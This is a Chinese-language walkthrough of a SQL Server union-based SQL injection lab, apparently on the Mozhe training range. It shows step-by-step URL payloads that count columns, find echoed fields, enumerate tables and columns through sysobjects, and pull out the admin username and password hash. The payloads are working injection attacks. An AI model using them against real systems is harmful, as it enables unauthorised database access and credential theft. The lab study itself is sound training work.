靶机取自:墨者sql server
1、判断数据库类型
抓包知sql server,所以注入语句跟MySQL有些区别
2、判断注入点
“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。
3、确定列数为 4
/new_list.asp?id=2 ORDER BY 1
成功/new_list.asp?id=2 ORDER BY 2
成功/new_list.asp?id=2 ORDER BY 3
失败/new_list.asp?id=2 ORDER BY 4
成功/new_list.asp?id=2 ORDER BY 5
失败/new_list.asp?id=2 ORDER BY 6
失败/new_list.asp?id=2 ORDER BY 7
失败
根据这些信息,
ORDER BY 4
成功,而ORDER BY 3
失败,这看起来很矛盾,因为一般来说,如果ORDER BY 3
失败,ORDER BY 4
应该也会失败。分析原因:
SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。
自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。
***所以sql测试中,我们需要进行更多测试以确认列数
4、判断回显字段
这其实还要分两种情况:
1、回显的字段是字符型,还是整数型或其他
数据类型匹配:
- 数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。
- 例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
SQL查询构造:
- SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。
- 使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。
2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段
- 正常页面:当提供的
id
值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果UNION ALL SELECT
注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。- 错误页面:当提供的
id
值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的UNION ALL SELECT
可能成为唯一的结果集,因此被显示出来。
思路:
①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显
②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回显2、3字段
到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖
然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况
5、获取数据库信息
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4
6、获取数据表名manage
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4
7、获取列名:id、name
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4
以此类推,获取第3个字段,第4个字段
8、查出用户名和密码
用户名:admin_mz、加密密码:72e1bfc3f01b7583
http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4
9、md5解密
9、总结
1、判断数据类型是很重要的一点,影响后面的注入语句
2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试
3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖
4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号
5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形